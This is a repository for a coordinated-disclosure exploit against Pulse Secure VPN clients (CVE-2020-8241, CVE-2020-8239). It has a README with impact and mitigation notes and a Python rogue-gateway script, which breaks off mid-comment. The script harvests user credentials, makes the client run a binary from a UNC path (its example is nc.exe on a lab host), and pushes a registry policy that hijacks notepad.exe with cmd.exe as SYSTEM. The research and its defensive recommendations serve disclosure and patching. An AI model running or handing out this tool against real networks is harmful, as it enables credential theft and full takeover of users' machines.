├── LICENSE ├── README.md ├── rogue-pulse-cmdhack-poc.gif └── rogue-pulse-svr.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pulse-secure-vpn-mitm-research 2 | Pulse Secure mitm research 3 | 4 | ## Release date 5 | Joint release date with vendor: 26 Oct 2020 6 | 7 | ## Author 8 | David Kierznowski, @withdk 9 | 10 | ## Credits 11 | * Sahil Mahajan from the Pulse Secure PSIRT Team for support throughout the disclosure process. 12 | * Alyssa Herrera, Justin Wagner, and Mimir, and Rich Warren for their write-up, "Red Teamer’s Guide to Pulse Secure SSL VPN" - Alyssa Herrera (4 September 2019). 13 | * The SA Red Team for their ongoing support and encouragement. 14 | 15 | ## CVE Refs 16 | * CVE-2020-8241 (8.1 High CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) 17 | * CVE-2020-8239 (5.9 Medium CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N) 18 | 19 | ## Sample 20 | A meterpreter reverse shell is spawned after user connects to rogue pulse server. 21 | Proof of concept demonstrating rogue-pulse-svr.py acquiring a reverse meterpreter shell from a Pulse Client connected to the same network. 22 | 23 | ## Introduction 24 | Pulse Connect Secure (PCS) is a commonly used enterprise VPN solution. At the time of writing, PCS supports more than 20 million endpoints (Pulse Secure, n.d.). This research focused on reviewing the confidentiality and integrity of the network communication channel established between a Windows 10 PCS endpoint and a PCS gateway. In particular, it asks the question, "how secure is an endpoint when connected to an untrusted network?". This research applies to default and "Always-On" configurations. 25 | 26 | ### Impact (Medium - High) 27 | When chained, it is possible to acquire remote code execution from an untrusted network with full SYSTEM privileges. Alternatively, an insider threat could use CVE-2020-8241 as a stand-alone vulnerability to escalate privileges. 28 | 29 | ### Likelihood (Low - Medium) 30 | These attacks could be used in a variety of situations, however, they are best suited to targeted attacks. Based on this and the assumptions below, the likelihood is low - medium. 31 | 32 | ### Potential Attacks 33 | The following attacks have been successfully demonstrated in a proof-of-concept "rogue-pulse" tool: 34 | * Steal user credentials. A rogue server could lure the user into revealing their login credentials. 35 | * Execute binary from a Microsoft Windows UNC path. The PCS server supports the option to launch an executable following authentication. This can be abused to get code execution with the permissions of the logged on user. This builds on the work of Alyssa Herrera and team Alyssa Herrera (4 September 2019). 36 | * Full remote administrator access by abusing host compliance checks. The host compliance checks are executed as SYSTEM. A rogue server could abuse this functionality to push down a malicious policy which allows arbitrary write access to the registry. 37 | * Intercept network traffic. This will allow the attacker to intercept and modify network traffic even when “always-on” is enabled. Currently the tool only displays network traffic requests from the endpoint. 38 | 39 | *The PoC also implements an auto-login feature. This tricks the client into thinking it has previously authenticated. This would be useful in cases where code execution is the priority over credential harvesting.* 40 | 41 | ### Assumptions 42 | * This research aims at acquiring remote code execution via an untrusted network. Both vulnerabilities are chained to achieve this objective. That said, an insider threat could simply use CVE-2020-8241 by itself to escalate privileges. 43 | * The PCS gateway is using the default configuration with "dynamic-trust" enabled. Note, the policy is usually updated and pushed down to the client after authentication. This means a small window of opportunity may still exist even after the gateway has disabled "dynanmic-trust". 44 | * The attacker is in a position to man-in-the-middle HTTPS network traffic, e.g. the attacker has compromised a user's home network router, rogue Wi-Fi hotspots etc. 45 | * The user is required to accept the certificate warning. One interesting observation is that the Pulse Secure Client will continue to pop up this message until the user accepts the certificate. In addition, the popup message is not particularly alarming. Finally, as a "Secure Client", a user is far more likely to ignore the message and connect anyway. This does not seem to be a big hurdle. 46 | * The endpoint is connecting on a Microsoft Windows operating-system. 47 | 48 | ## Recommendations 49 | In mitigating and remediating the issue the following recommendations should be considered: 50 | * Organisations should conduct compliance against the Pulse Secure security best practises (Pulse Secure, 2 July 2019). Ensure that “Dynamic certificate trust” is disabled. 51 | * Apply the vendor fixes (see https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601). 52 | * PCS Server script execution is executed as a child process of “Pulse.exe”. Thus, safeguards can be deployed by monitoring child processes of the “Pulse.exe” binary. 53 | * Monitor the “PulseSecureService” service for suspicious registry activity. 54 | 55 | ## References 56 | * Pulse Secure (n.d.): Pulse Secure Unified Client [Online]. Available at https://www.pulsesecure.net/products/pulse-client/ (Accessed 1 June 2020) 57 | * Comodo (23 March 2011): Comodo SSL Affiliate The Recent RA Compromise. Available at https://blog.comodo.com/other/the-recent-ra-compromise/ (Accessed 9 June 2020) 58 | * Pulse Secure (2 July 2019): KB29805 - Pulse Connect Secure: Security configuration best practices. Available at https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB29805 (Accessed 9 June 2020) 59 | * Alyssa Herrera (4 September 2019): Red Teamer’s Guide to Pulse Secure SSL VPN [Online]. Available at https://medium.com/bugbountywriteup/pulse-secure-ssl-vpn-post-auth-rce-to-ssh-shell-2b497d35c35b (Accessed 10 June 2020) 60 | * The Internet Society (2004) RFC3748: Extensible Authentication Protocol (EAP) [Online]. Available at https://tools.ietf.org/html/rfc3748 (Accessed 10 June 2020) 61 | https://github.com/gentilkiwi/mimikatz 62 | * Catalin Cimpanu, ZDNet (26 March 2020): D-Link and Linksys routers hacked to point users to coronavirus-themed malware. https://www.zdnet.com/article/d-link-and-linksys-routers-hacked-to-point-users-to-coronavirus-themed-malware/ 63 | * Will Dormann, CERT/CC (02 January 2018): Pulse Secure Linux client GUI fails to validate SSL certificates. https://www.kb.cert.org/vuls/id/319904 (Accessed 10 June 2020). 64 | * Pulse Secure (2015): SA40004 - [Pulse Secure] TLS connection verification issue (CVE-2015-5369). Available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA40004 (Accessed 9 June 2020) 65 | * Pulse Secure (2009): SA40013 - TLS/SSL Renegotiation Vulnerability Pulse Connect Secure (PCS) (CVE-2009-3555) (Pulse Secure PSN-2009-11-573. Available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA40013 (Accessed 9 June 2020) 66 | * Pulse Secure (2020): SA44426 - 2020-04: Out-of-Cycle Advisory: Multiple Host Checker Vulnerabilities. Available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44426. (Accessed 9 June 2020) 67 | * Pulse Secure (2019b): SA44101 - 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX. Available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101. (Accessed 9 June 2020) 68 | * Dan Swinhoe, CSO (13 February 2019): What is a man-in-the-middle attack? How MitM attacks work and how to prevent them. Available at https://www.csoonline.com/article/3340117/what-is-a-man-in-the-middle-attack-how-mitm-attacks-work-and-how-to-prevent-them.html. (Accessed 9 June 2020) 69 | 70 | ## Disclaimer 71 | The information provided is for educational and research purposes only. The author takes no responsibility for your use of this information and strongly condemns any attempt to violate applicable laws. The author undertakes no duty to update this information, provides no warranties to its completeness, use or applicability, and disclaims all reliance on it. Your use of this information is solely your responsibility. 72 | -------------------------------------------------------------------------------- /rogue-pulse-cmdhack-poc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/withdk/pulse-secure-vpn-mitm-research/6c8cc3087af4f7239f54d5a05b68ff9574971a8c/rogue-pulse-cmdhack-poc.gif -------------------------------------------------------------------------------- /rogue-pulse-svr.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | # pulse-secure-vpn-mitm-research 5 | Pulse Secure VPN mitm Research 6 | 7 | ## Release date 8 | Joint release date with vendor: 26 Oct 2020 9 | 10 | ## Author 11 | David Kierznowski, @withdk 12 | 13 | ## CVE Refs 14 | The following issues were identified as part of this research. 15 | * CVE-2020-8241 16 | * CVE-2020-8239 17 | 18 | ## Summary 19 | This is a proof-of-concept tool developed to explore and test man-in-the-middle attacks targeting Pulse Secure Clients 20 | running on Microsoft Windows 10. 21 | 22 | The tool works by masquerading as a Pulse Secure gateway. Once a client connects the following attacks are implemented 23 | (PoC only): 24 | * Steal user credentials. A rogue server could lure the user into revealing their login credentials. 25 | * Execute binary from a Microsoft Windows UNC path. The PCS server supports the option to launch an executable following 26 | authentication. This can be abused to get code execution with the permissions of the logged on user. This builds on the 27 | work of Alyssa Herrera and team Alyssa Herrera (4 September 2019). 28 | * Full remote administrator access by abusing host compliance checks. The host compliance checks are executed as SYSTEM. 29 | A rogue server could abuse this functionality to push down a malicious policy which allows arbitrary write access to the 30 | registry. 31 | * Intercept network traffic. This will allow the attacker to intercept and modify network traffic even when "always-on" is 32 | enabled. Currently the tool only displays network traffic requests from the endpoint. 33 | 34 | ## Recommendations 35 | In mitigating and remediating the issue the following recommendations should be considered: 36 | * Organisations should conduct compliance against the Pulse Secure security best practises (Pulse Secure, 2 July 2019). Ensure 37 | that “Dynamic certificate trust” is disabled. 38 | * Apply the vendor fixes (see https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601). 39 | * PCS Server script execution is executed as a child process of “Pulse.exe”. Thus, safeguards can be deployed by monitoring 40 | child processes of the “Pulse.exe” binary. 41 | * Monitor the “PulseSecureService” service for suspicious registry activity. 42 | 43 | ## Refs 44 | The original writeup with more info can be found here: 45 | * @withdk, Pulse Secure mitm Research [Online]. Available at https://github.com/withdk/pulse-secure-mitm-research/ 46 | * See code commends in the main function. It provides a lot more details about the inner workings. 47 | 48 | ## Disclaimer 49 | The information provided is for educational and research purposes only. The author takes no responsibility for your 50 | use of this information and strongly condemns any attempt to violate applicable laws. The author undertakes no duty 51 | to update this information, provides no warranties to its completeness, use or applicability, and disclaims all reliance 52 | on it. Your use of this information is solely your responsibility. 53 | 54 | """ 55 | 56 | import argparse 57 | import socket 58 | import ssl 59 | import re 60 | #import getopt 61 | import sys 62 | import struct 63 | 64 | def getlen(aByteString): 65 | aLen=bytearray(struct.pack(">H", len(aByteString))) 66 | return(aLen) 67 | 68 | def updatelen(aByteString): 69 | aLen = getlen(aByteString) 70 | aByteString[10:12] = aLen 71 | return(aByteString) 72 | 73 | def updatecmd(aByteString): 74 | aByteString = aByteString + b'\x00' 75 | aLen = getlen(aByteString) 76 | aByteString = aLen + aByteString 77 | return(aByteString) 78 | 79 | def which(conn): 80 | print(conn.recv()[0:3]) 81 | 82 | def handle(conn): 83 | ''' 84 | TODO: Messy function with hardcoded byte strings captured from a lab session. 85 | ''' 86 | while True: 87 | raw = conn.recv() 88 | if(raw[0:3]==b'GET'): 89 | print("******************************") 90 | print("******************************") 91 | print("******************************") 92 | print("Got EAP. Switching to EAP protocol.") 93 | print(raw) 94 | conn.write(b'HTTP/1.1 101 Switching Protocols\nContent-type: application/octet-stream\nPragma: no-cache\nUpgrade: IF-T/TLS 1.0\nConnection: Upgrade\nConnection: Keep-Alive\nKeep-Alive: timeout=15\nStrict-Transport-Security: max-age=31536000\n\n') 95 | else: 96 | #if(raw[0:4]==b"\x00\x00\x0A\x4c.*"): 97 | if(raw[16:20]==b"\x63\x6c\x69\x65"): 98 | print("******************************") 99 | print("******************************") 100 | print("******************************") 101 | print("Got a hostname and IP address") 102 | print(raw) 103 | print("Sending expected requests") 104 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x02\x00\x00\x00\x14\x00\x00\x01\xF5\x00\x00\x00\x02') 105 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x14\x00\x00\x01\xF6\x00\x0A\x4C\x01') 106 | if(raw[25:29]==b'anon'): 107 | print("******************************") 108 | print("******************************") 109 | print("******************************") 110 | print("Got anonymous username string") 111 | print(raw) 112 | print("Sending server string (hardcoded)") 113 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x60\x00\x00\x01\xF7\x00\x0A\x4C\x01\x01\x02\x00\x4C\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x0D\x49\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x04\x00\x00\x0D\x4A\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x01\x00\x00\x0D\x56\x80\x00\x00\x1D\x00\x00\x05\x83\x56\x41\x53\x50\x48\x31\x45\x34\x36\x31\x36\x45\x4B\x50\x42\x41\x53\x00\x00\x00') 114 | if(raw[96:101]==b'Pulse'): 115 | print("******************************") 116 | print("******************************") 117 | print("******************************") 118 | print("Got pulse client version") 119 | print(raw) 120 | print("Sending request to login") 121 | # Standard login (patched) 122 | if(CMDHACK): 123 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x38\x00\x00\x01\xF8\x00\x0A\x4C\x01\x01\x03\x00\x24\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x00\x15\x01\x00\x00\x0D\xFE\x00\x0A\x4C\x00\x00\x00\x02\x01\x00\x00\x10') 124 | else: 125 | ''' Use REGHACK instead of CMDHACK and AutoLogin ''' 126 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\x38\x00\x00\x01\xF8\x00\x0A\x4C\x01\x01\x03\x00\x24\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x00\x15\x01\x01\x00\x0D\xFE\x00\x0A\x4C\x00\x00\x00\x03\x21\x00\x00\x10') 127 | raw = ''; 128 | while len(raw) < 1: 129 | raw = conn.recv() 130 | if(raw[0:4]==b'\x00\x00\x55\x97'): 131 | print("******************************") 132 | print("******************************") 133 | print("******************************") 134 | print("USERNAME & PASSWORD!!!!!! :)") 135 | print(raw) 136 | print("Sending fake session info") 137 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x00\xD0\x00\x00\x01\xF9\x00\x0A\x4C\x01\x01\x04\x00\xBC\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x0D\x53\x80\x00\x00\x2C\x00\x00\x05\x83\x62\x39\x63\x61\x66\x30\x31\x63\x62\x34\x61\x38\x30\x39\x33\x65\x34\x62\x66\x31\x37\x36\x35\x30\x30\x65\x31\x66\x35\x32\x34\x37\x00\x00\x0D\x5C\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x0E\x10\x00\x00\x0D\x54\x80\x00\x00\x18\x00\x00\x05\x83\x31\x37\x32\x2E\x31\x36\x2E\x31\x30\x2E\x31\x30\x00\x00\x0D\x55\x80\x00\x00\x2C\x00\x00\x05\x83\x61\x64\x63\x37\x36\x66\x32\x33\x39\x37\x38\x38\x61\x39\x36\x34\x66\x30\x38\x66\x34\x63\x64\x37\x39\x35\x35\x66\x33\x34\x65\x35\x00\x00\x0D\x6B\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x10\x00\x00\x0D\x75\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x00\x00\x00\x0D\x57\x80\x00\x00\x10\x00\x00\x05\x83\x00\x00\x00\x00') 138 | if(raw==b'\x00\x00\x55\x97\x00\x00\x00\x06\x00\x00\x00\x20\x00\x00\x00\x00\x00\x0A\x4C\x01\x02\x04\x00\x0C\xFE\x00\x0A\x4C\x00\x00\x00\x01'): 139 | print("******************************") 140 | print("******************************") 141 | print("******************************") 142 | print("Sending after auth request 1") 143 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x07\x00\x00\x00\x18\x00\x00\x01\xFA\x00\x0A\x4C\x01\x03\x04\x00\x04') 144 | print("Sending after auth request 2: seems like network info") 145 | #conn.write(b'\x00\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x01\x18\x00\x00\x01\xFB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2C\x20\xF0\x00\x00\x00\x00\x00\x00\x00\x01\x08\x2E\x00\x00\x18\x01\x00\x00\x00\x07\x00\x00\x10\x00\x00\xFF\xFF\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\xD4\x03\x00\x00\x00\x40\x00\x00\x01\x00\x40\x01\x00\x01\x00\x40\x1F\x00\x01\x00\x40\x20\x00\x01\x00\x40\x21\x00\x01\x00\x40\x05\x00\x04\x00\x00\x05\x78\x00\x03\x00\x04\xC0\xA8\x01\xFE\x40\x06\x00\x0A\x6C\x61\x62\x2E\x6C\x6F\x63\x61\x6C\x00\x40\x07\x00\x04\x00\x00\x00\x01\x40\x19\x00\x01\x00\x40\x1A\x00\x01\x00\x40\x0F\x00\x02\x00\x00\x40\x10\x00\x02\x00\x00\x40\x11\x00\x02\x00\x00\x40\x12\x00\x04\x00\x00\x00\x00\x40\x13\x00\x04\x00\x00\x00\x00\x40\x14\x00\x04\x00\x00\x00\x00\x40\x15\x00\x04\x00\x00\x00\x00\x40\x16\x00\x02\x00\x00\x40\x17\x00\x04\x00\x00\x00\x00\x40\x18\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x0A\x01\x01\x0A\x00\x02\x00\x04\xFF\xFF\xFF\xFF\x40\x0B\x00\x04\x0A\xC8\xC8\xC8\x40\x0C\x00\x01\x00\x40\x0D\x00\x01\x00\x40\x0E\x00\x01\x00\x40\x1B\x00\x01\x00\x40\x1C\x00\x01\x00\x00\x13\x00\x01\x00\x00\x14\x00\x01\x00') 146 | # Run calc.exe 147 | cmdbytes=updatecmd(bytearray(CMD)) 148 | sendByteString = bytearray('\x00\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x01\x34\x00\x00\x01\xFB\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2C\x20\xF0\x00\x00\x00\x00\x00\x00\x00\x01\x24\x2E\x00\x00\x18\x01\x00\x00\x00\x07\x00\x00\x10\x00\x00\xFF\xFF\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\xF0\x03\x00\x00\x00\x40\x00\x00\x01\x00\x40\x01\x00\x01\x00\x40\x1F\x00\x01\x00\x40\x20\x00\x01\x00\x40\x21\x00\x01\x00\x40\x05\x00\x04\x00\x00\x05\x78\x00\x03\x00\x04\xC0\xA8\x01\xFE\x40\x06\x00\x0A\x6C\x61\x62\x2E\x6C\x6F\x63\x61\x6C\x00\x40\x07\x00\x04\x00\x00\x00\x01\x40\x19\x00\x01\x00\x40\x1A\x00\x01\x00\x40\x0F\x00\x02\x00\x00\x40\x10\x00\x02\x00\x00\x40\x11\x00\x02\x00\x00\x40\x12\x00\x04\x00\x00\x00\x00\x40\x13\x00\x04\x00\x00\x00\x00\x40\x14\x00\x04\x00\x00\x00\x00\x40\x15\x00\x04\x00\x00\x00\x00\x40\x16\x00\x02\x00\x00\x40\x17\x00\x04\x00\x00\x00\x00\x40\x18\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x0A\x01\x01\x0A\x00\x02\x00\x04\xFF\xFF\xFF\xFF\x40\x0B\x00\x04\x0A\xC8\xC8\xC8\x40\x0C' + cmdbytes + '\x40\x0D\x00\x01\x00\x40\x0E\x00\x01\x00\x40\x1B\x00\x01\x00\x40\x1C\x00\x01\x00\x00\x13\x00\x01\x00\x00\x14\x00\x01\x00') 149 | sendByteString = updatelen(sendByteString) 150 | conn.write(sendByteString) 151 | print("Sending after auth request 3") 152 | conn.write(b'\x00\x00\x0A\x4C\x00\x00\x00\x8F\x00\x00\x00\x14\x00\x00\x01\xFC\x00\x00\x00\x00') 153 | if(raw[7:11]==b'\x06\x00\x00\x08') and REGHACK: 154 | print("******************************") 155 | print("******************************") 156 | print("******************************") 157 | print("Got a compliance response") 158 | print(raw) 159 | print("Sending compliance response") 160 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x02\x28\x00\x00\x01\xF9\x00\x0A\x4C\x01\x01\x04\x02\x14\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x02\x05\x01\x02\x01\xFD\xFE\x00\x0A\x4C\x00\x00\x00\x03\x01\x00\x00\x00\x16\xC0\x00\x01\xEF\x00\x00\x05\x83\x00\x00\x02\xE8\x78\x9C\x8D\x52\xCD\x6A\x1B\x31\x10\x56\x03\xB9\x14\x1F\x7A\xEA\x59\xEC\x03\x14\xCB\x5E\xFF\xB1\x55\x61\x71\x1D\x62\xE2\x9F\x34\x49\x1D\x52\x0C\x8B\x2C\x8D\x5D\xD5\x5E\x69\x91\xB4\x8E\x0D\x3E\x14\xF2\x62\x79\x8C\x3E\x40\xA1\x0F\xD0\x17\xA8\x64\xA7\xC1\xD0\x1E\xA2\x8B\x46\xDF\x8C\xE6\x9B\xF9\x66\x10\xAA\xFC\x7C\x44\x27\x3F\x10\x3A\x7D\x40\xA8\xF2\xEB\x11\xA1\x72\x6F\x9F\x3E\xBC\x7D\x7F\x99\x5E\xA5\x43\x3C\x4A\x87\x3D\x1A\x5D\x32\xC3\x72\x70\x60\xAA\x11\x9E\xA4\x83\xCF\x1E\x4A\x38\x18\x97\xE5\xA2\x41\x99\xE0\xAD\xE6\xBC\x56\xEF\xB4\xDA\x6D\xD6\x69\xC6\xF3\x6A\x7B\x1E\x73\xD1\xEA\x34\x1A\xF3\x7A\x0C\x8D\xC4\x82\x59\x83\xC9\x9C\xCC\x81\x92\x46\xBB\x4D\xEA\x31\x89\xEB\xD1\x87\xD7\x68\x7F\x02\xEF\xC9\xD5\x33\x6F\x11\xB8\xB0\xF2\x7C\x34\x2A\xFE\xF2\x92\x08\xAF\xD9\xAA\xF4\x90\x9E\x7D\x03\xEE\x32\x55\xE6\x33\x30\x94\x24\xB8\x30\x7A\x2D\x85\xB7\x0D\x2C\xA4\x75\x66\x9B\x60\x53\xAE\x40\x0A\x42\xAB\x07\x33\xE4\x22\xC1\xFD\x95\xF1\xA5\x87\x9E\xE2\xB2\x25\x6C\x09\x3D\xBF\xE8\xDD\x65\x83\x71\x37\x1D\x64\xC3\xB4\x7B\xDE\x1F\xF5\x8E\x22\x6C\x39\xDB\x07\x5D\x8F\xCF\x6E\x6E\xD3\xAB\xDE\x74\x28\xB9\xD1\x56\xCF\xDD\xF4\x56\x2A\xA1\xEF\x2D\x1E\xDD\x4C\xBB\xA5\x31\xA0\xDC\x04\x8C\x95\x5A\x4D\xFB\x39\x5B\x00\x3E\x93\x2B\xC0\xBD\x0D\xF0\xD2\x79\x10\x8F\x8B\x70\xD9\xA9\xD2\x0E\x0A\x26\xDE\xC1\x06\x8E\x78\x0E\x15\x0A\x98\x95\x8B\x05\x98\x23\x87\xDB\x16\xDE\x71\xED\x8C\x54\x8B\x3D\x3C\x91\x70\xDF\x8C\x49\x68\x3C\x97\xCA\xCB\xFA\xDC\xA5\x81\x1C\x04\xB5\xE0\x12\xAC\x00\x84\x1D\x6A\x25\x9D\x0E\x1F\x43\xB0\xD7\x49\xAF\x24\xDF\xD2\x35\xAF\xEE\x6A\xBB\xC3\x23\xAB\xED\xC8\xEE\x5F\x5D\xF6\x4A\x13\x7A\x57\x23\xCB\x41\x3E\x89\xBF\x7C\xA2\x34\xC1\x33\x66\xA1\x19\x83\xE2\x5A\x80\x97\x96\xF8\xF1\xFD\x7F\x54\xB5\x17\x8C\xEA\x40\x2F\x98\x63\x2F\xA9\xCB\x37\xC7\x75\xA9\x5C\x48\x01\x9B\xC2\x80\x0D\x3A\xF7\x3F\x5A\x5F\x16\xD7\x4A\xC8\x20\x2D\x5B\x79\x21\x22\xFC\xB4\x54\x95\xDF\xDF\x11\x7A\x73\xD8\x6B\xF4\xEA\x0F\xDC\xD1\xF8\x88\x00\x00\x00\x00') 161 | print("Sending registry hack: Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe debugger=cmd.exe") 162 | conn.write(b'\x00\x00\x55\x97\x00\x00\x00\x05\x00\x00\x01\x6C\x00\x00\x01\xFA\x00\x0A\x4C\x01\x01\x05\x01\x58\xFE\x00\x0A\x4C\x00\x00\x00\x01\x00\x00\x00\x4F\x40\x00\x01\x49\x01\x03\x01\x41\xFE\x00\x0A\x4C\x00\x00\x00\x03\x01\x00\x00\x00\x16\xC0\x00\x01\x34\x00\x00\x05\x83\x00\x00\x01\x6C\x78\x9C\x4D\x50\x4D\x6B\xC2\x40\x14\x5C\x0F\x5E\x24\x42\xE9\xA1\xE7\x25\xA7\x96\x96\xD8\xDA\x9B\x55\x69\x31\x1E\x02\x5A\xC5\x08\x52\x10\xCA\x76\xF3\x1A\xB7\xC6\xC4\x66\x9F\x62\x20\x87\x82\xBF\xA6\xFF\xC2\x1F\x53\xDA\x6B\x3F\xFE\x40\xDF\x56\x0B\x0E\x0B\x3B\x33\x3C\x66\xDF\x2C\x63\xD6\xDB\x86\x31\x8B\xB1\xE2\x9A\xAE\xCF\x0D\x2B\x5C\xEF\xF8\x17\xF9\x07\x86\x23\x68\x24\xFD\x4D\xFA\xD5\xE8\xE1\x44\x69\x4E\xE7\x41\x04\x7C\x26\x10\x1C\x42\xB9\x54\xD7\x32\x55\x73\xE4\x91\x88\xC3\x85\x08\xA1\x61\x3F\x89\xA5\xD8\x9A\x36\xC7\x6C\x4E\x0E\xC2\x0A\x2B\x7B\x76\xB3\x5C\xF2\x33\x8D\x30\x73\x5C\x25\xC2\x38\xD1\xA8\xA4\x76\xFA\x69\x22\x41\x6B\xC7\x47\x91\xE2\xB1\xDD\xAA\x8D\x47\xDE\xAD\xDB\x1B\xF9\x63\xFD\x37\x7C\x59\x1D\x4B\x11\x49\x07\x56\x60\x9F\x5C\x95\x4B\x9C\x50\xAF\x6C\x23\x9B\xCC\xC0\x7A\xA7\x5D\x4F\xCD\xAE\x03\x78\x5E\xA8\x14\x02\x9E\x42\xA8\x34\xA6\x19\x9F\x42\xC6\xE3\x04\xF9\x63\xB2\x88\x03\x33\x6B\xFA\x77\x76\x9D\x3F\x88\x6F\xFB\x17\xD7\x47\x83\x76\xB7\xED\x7A\x37\xC3\x76\xAD\xDF\xEB\x78\xAD\x3B\xCF\x6D\x2C\xE5\x79\x5E\xCD\xE7\x49\xA4\x64\x76\x5F\xCD\x2F\x72\x8A\x9D\x08\x39\x3D\xD3\x80\xE6\xE1\xC3\xFF\x3F\x23\x5E\xA0\xBC\x9F\x97\x3D\xFD\x0B\x6C\x53\x68\x94\x04\x8C\x95') 163 | 164 | print(raw) 165 | if(len(raw) == 0): 166 | return(False); 167 | 168 | """conn.write(b'HTTP/1.1 200 OK\n\n%s' % conn.getpeername()[0].encode())""" 169 | 170 | def main(): 171 | global REGHACK, CMDHACK, CMD 172 | 173 | parser=argparse.ArgumentParser(description='CVE-2020-8239, CVE-2020-8241 Pulse Secure VPN MitM PoC tool') 174 | parser.add_argument('-v', '--verbose', '--debug', action='store_true') 175 | parser.add_argument('-i','--ip', required=True, help='x.x.x.x ; interface to listen on') 176 | parser.add_argument('-p','--port', required=False, help='443 ; defaults to port 443') 177 | parser.add_argument('--cmdhack', required=False, help='\\\\\\\\172.16.10.146\\\\test\\\\nc.exe ; Execute binary via UNC path as logged in user') 178 | parser.add_argument('--reghack', required=False, help='True|False ; Execute PowerShell script as SYSTEM (CVE-2020-8241)') 179 | #parser.add_argument('-c','--cmd', required=True, help='ls /') 180 | #parser.add_argument('-i','--interactive', required=False, help='shell') 181 | #parser.add_argument('-p','--proxy', help='e.g. 127.0.0.1:8080') 182 | #parser.add_argument('-ua','--useragent') 183 | args=parser.parse_args() 184 | 185 | if args.verbose: 186 | debug=True 187 | 188 | # SSL Setup 189 | # $ openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem 190 | CERT = 'cert.pem' 191 | KEY = 'key.pem' 192 | HOST=args.ip 193 | if args.port: 194 | PORT=int(args.port) 195 | else: 196 | PORT = 443 197 | if args.cmdhack: 198 | ''' 199 | Please refer to Alyssa Herrera’s (Alyssa 